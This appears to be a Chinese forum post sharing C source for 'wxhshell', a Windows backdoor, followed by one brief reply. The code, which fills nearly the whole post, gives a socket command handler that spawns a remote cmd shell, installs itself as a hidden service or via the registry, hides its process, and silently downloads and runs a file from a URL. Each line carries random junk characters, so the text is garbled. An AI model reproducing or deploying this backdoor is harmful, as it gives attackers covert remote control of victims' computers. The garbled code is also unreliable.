  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sgUud_r)4  
  if(DownloadFile(cmd,wsh)) WJH\~<{mP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KLWn?`  
  else KngTc(^_D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 942lSyix  
  } dt@P>rel  
  else { 2Os1C}m  
q?qC  
    switch(cmd[0]) { 'a6<ixgo0  
  O^Q7b7}y  
  // 帮助 ~^jq(:d)  
  case '?': { CNZz]H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &#`l;n:]+  
    break; 1\*\?\T>_  
  } T;TA7{B  
  // 安装 @gC=$A#  
  case 'i': { -VKS~{  
    if(Install()) +ZMls [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @mP]*$00  
    else t_^X$pL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fb22p6r  
    break; )SF}2?7e  
    } `{k"8#4:qA  
  // 卸载 x+8_4>,>Y7  
  case 'r': { %ts^Z*3u  
    if(Uninstall()) 2Y\ d<.M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mips.Bx  
    else D"(L5jR8m@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g[RI.&?  
    break; 4fk8*{Y  
    } L!0OC''C  
  // 显示 wxhshell 所在路径 ULrr=5&8  
  case 'p': { !* Ti}oIo&  
    char svExeFile[MAX_PATH]; Q 1d'~e  
    strcpy(svExeFile,"\n\r"); '.Ed`?<p  
      strcat(svExeFile,ExeFile); -i0(2*<  
        send(wsh,svExeFile,strlen(svExeFile),0); Un`^jw#_  
    break; o8/ ;;*  
    } 4;n6I)&.(  
  // 重启 ,YTIC8qKr  
  case 'b': { -}O1dEn.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vE@!{*  
    if(Boot(REBOOT)) {vUN+We  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &,A64y  
    else { &qp r*17T  
    closesocket(wsh); 1tTg P+  
    ExitThread(0); CYYkzcc^  
    } `ps)0!L L`  
    break; u H/w\v_I  
    } ];'v8)Y  
  // 关机 dm0QcW4  
  case 'd': { D]w!2k%V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xh7cVE[UM  
    if(Boot(SHUTDOWN))  ]#7zk9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _XJ2fA )  
    else { jK \T|vGJa  
    closesocket(wsh); + a- 6Q ~  
    ExitThread(0); VE+IKj!VG0  
    } '!l 1=cZD  
    break; 4wC+S9I#E^  
    } d ;vT ~;  
  // 获取shell 6"Bic rY  
  case 's': { il|1a8M2~  
    CmdShell(wsh); ~P~  
    closesocket(wsh); | N0Z-|  
    ExitThread(0); q0f3="  
    break; L}@c6fHG  
  } 0#w?HCx=  
  // 退出 "Rn 3lj0  
  case 'x': { ,0x y\u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JkW9D)6  
    CloseIt(wsh); a=M\MZK>  
    break; H*#s }9=kZ  
    } ]|`C uc  
  // 离开 *`ZH` V  
  case 'q': { 64hk2a8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q+g!V5'  
    closesocket(wsh); :ba5iMa  
    WSACleanup(); 2M# r]  
    exit(1); 311LC cRp  
    break; :Ad &$e g+  
        } t#q<n:WeYU  
  } D8 hr?:I9  
  } !rqF}d  
^Z~;4il_F  
  // 提示信息 ;&1V0U,fx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1V8-^  
} {?'fyEeg  
  } h/~n\0,J/  
N[kwO1  
  return; ?LvCR_D:  
} C@th O  
xg)v0y~  
// shell模块句柄 E<yW\  
int CmdShell(SOCKET sock) )M)7"PC  
{ cA%%IL$R  
STARTUPINFO si; ZDbc  
ZeroMemory(&si,sizeof(si)); rn<PR*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |SyMngIY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r*Yi1j/  
PROCESS_INFORMATION ProcessInfo; 3B1cb[2y  
char cmdline[]="cmd"; ^^5&QSB:'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FQ=@mjh  
  return 0; ]('D^Ro  
} eImn+_ N3  
0v9rv.Y"  
// 自身启动模式 Iu$K i  
int StartFromService(void) lP<:tR~K  
{ -jMJAYjV  
typedef struct G "73=8d  
{ lo[.&GD  
  DWORD ExitStatus; foQ#a  
  DWORD PebBaseAddress; )_U<7"~0l  
  DWORD AffinityMask; >nzdnF_&zW  
  DWORD BasePriority; ,yd?gP-O  
  ULONG UniqueProcessId; !Q#{o^{Y~  
  ULONG InheritedFromUniqueProcessId; lT(oL|{#P  
}   PROCESS_BASIC_INFORMATION; K_dOq68_  
kT;S4B  
PROCNTQSIP NtQueryInformationProcess; o865 (<p  
5}`_x+$%(`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _-EyT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3YVi" k?2  
-|E!e.^7:  
  HANDLE             hProcess; ;VWAf;U;B  
  PROCESS_BASIC_INFORMATION pbi; $sEy%-  
~R(%D-k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )E~ 79!  
  if(NULL == hInst ) return 0; >%wLAS",w  
V O3x~E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8QM(?A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q5?# 3T=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JU4q zi  
t+eVR8  
  if (!NtQueryInformationProcess) return 0; l8?>>.<P=  
2$Tj84'X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %Ah^E$&n2  
  if(!hProcess) return 0; y3h/ IpT  
V3"=w&2]K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5=f|7yl  
ELj\[&U  
  CloseHandle(hProcess); z_|/5$T>U  
,lyb!k8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }`@728E  
if(hProcess==NULL) return 0; lyGhdgWc  
JYTP 2  
HMODULE hMod; ,G2TVjz  
char procName[255]; 2sJ(awN>  
unsigned long cbNeeded; o93`|yWl  
0zi~p>*nJC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $C `;fA  
>(;{C<6|^  
  CloseHandle(hProcess); /oriW;OF  
5F~'gLH/F-  
if(strstr(procName,"services")) return 1; // 以服务启动 ~-I +9F  
NgY =&W,  
  return 0; // 注册表启动 d!$Z (W0  
} 7k rUKYVo  
Z:*76PP,  
// 主模块 (2=Zm@Zp f  
int StartWxhshell(LPSTR lpCmdLine) kO}AxeQ  
{ .,OVzW  
  SOCKET wsl; ?O8ViB?2  
BOOL val=TRUE; 9M:O0)s  
  int port=0; h-%R<[  
  struct sockaddr_in door; nX=$EQiH  
t]YC"%[S  
  if(wscfg.ws_autoins) Install(); 0|a(]a}V*j  
v-PXZ'7~  
port=atoi(lpCmdLine); {|'E  
~/P&Tub^  
if(port<=0) port=wscfg.ws_port; \ioH\9  
`|/<\  
  WSADATA data; ^pYxKU_O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4y+< dw  
yr lf+tl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y 1t\iU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'hs2RSq  
  door.sin_family = AF_INET; @w?P7P<O`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #Jw1IcuH  
  door.sin_port = htons(port); }yz (xH  
Jl&-,Vjb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dp':oJC  
closesocket(wsl); iB498t  
return 1; 3J5!oF{H  
} ^3UGV*Ypk  
2'W<h)m)z  
  if(listen(wsl,2) == INVALID_SOCKET) { >Vwc3d  
closesocket(wsl); k<" oiCE  
return 1; aP/T<QZ~  
} 7D;cw\ |  
  Wxhshell(wsl); hUF5fZqii  
  WSACleanup(); oIduxbAp  
,.7*Hpa  
return 0; OEkN(wF  
LS917ci-  
} [Ki0b^  
-&-Ma,M?  
// 以NT服务方式启动 apu4DAy&8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o/+13C  
{ hX=A)73(  
DWORD   status = 0; d&+h}O  
  DWORD   specificError = 0xfffffff; yp({>{u7  
?]}8o}G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FN8NTBk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [_Qa9e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @]ytla>d  
  serviceStatus.dwWin32ExitCode     = 0; =_:et 0  
  serviceStatus.dwServiceSpecificExitCode = 0; =Xqc]5[i  
  serviceStatus.dwCheckPoint       = 0; IyWI5Q"t  
  serviceStatus.dwWaitHint       = 0; ])nPPf  
Y4v|ko`l%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rl #p".4q  
  if (hServiceStatusHandle==0) return; BBtzs^C|  
3G(miP6  
status = GetLastError(); ]{ntt}3G,  
  if (status!=NO_ERROR) P7{gfiB  
{ Uk6HQQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; orjj' +;X  
    serviceStatus.dwCheckPoint       = 0; LyAn&h}  
    serviceStatus.dwWaitHint       = 0; ce7CcHQ?B  
    serviceStatus.dwWin32ExitCode     = status; ,.}]ut/Tm  
    serviceStatus.dwServiceSpecificExitCode = specificError; w.\&9]P3~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~,i-8jl,  
    return; 1q,{0s_kp  
  } lLF-{  
(aH'h1,G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9R7 A8  
  serviceStatus.dwCheckPoint       = 0; "$2 y-|  
  serviceStatus.dwWaitHint       = 0; n:{qC{D-qS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !;KCU^9  
} ;,?KI$K  
5) pj]S!]-  
// 处理NT服务事件,比如:启动、停止 _t^{a]/H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j4cwI90=  
{ &2{ tF  
switch(fdwControl) 0sfr d  
{ ,}K7Dg^1  
case SERVICE_CONTROL_STOP: 61)-cVC  
  serviceStatus.dwWin32ExitCode = 0; oz}+T(@O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U G~ba  
  serviceStatus.dwCheckPoint   = 0; +,#$:fs u  
  serviceStatus.dwWaitHint     = 0; /assq+H  
  { {/ BT9|LI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qLB) XnQ  
  } Ht&:-F+dm  
  return; osX8eX]\  
case SERVICE_CONTROL_PAUSE: RsY3V=u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'qOREN  
  break; fmb} 2h  
case SERVICE_CONTROL_CONTINUE: V0P>YQq9s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %nV]ibp2)  
  break; d~JKH&x<  
case SERVICE_CONTROL_INTERROGATE: +PcmJ  
  break; PqiB\~o@Z  
}; T^Ze3L]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `s8{C b=}1  
} nv~%#|v_W  
d\jPdA.a=  
// 标准应用程序主函数 r}mbXvn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =9fajRFTt  
{ CTZh0 x  
U qFv}VsnF  
// 获取操作系统版本 }wHW7SJ  
OsIsNt=GetOsVer(); 6{^E{go  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /XzH?n/{R  
,Q HU_jt  
  // 从命令行安装 u (em&M  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9 mmCp&~Z  
ucG@?@JENm  
  // 下载执行文件 b"#WxgaF  
if(wscfg.ws_downexe) { Y}#J4i0b*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QT>`^/]d  
  WinExec(wscfg.ws_filenam,SW_HIDE); U8LtG/  
} 2gCX}4^3b  
er!DYv  
if(!OsIsNt) { :[hgxJu+  
// 如果时win9x,隐藏进程并且设置为注册表启动 +/)#( j@  
HideProc(); S|]X'f  
StartWxhshell(lpCmdLine); 4'!c*@Y  
} ?C&z]f3(:  
else OslL~<  
  if(StartFromService()) JU^lyi!  
  // 以服务方式启动 urMG*7i <c  
  StartServiceCtrlDispatcher(DispatchTable); w[I E  
else RIY,K*f.  
  // 普通方式启动 T`;%TO*Y  
  StartWxhshell(lpCmdLine); 8(~K~q[Cr  
%\H|B0  
return 0; `m!j$,c.  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八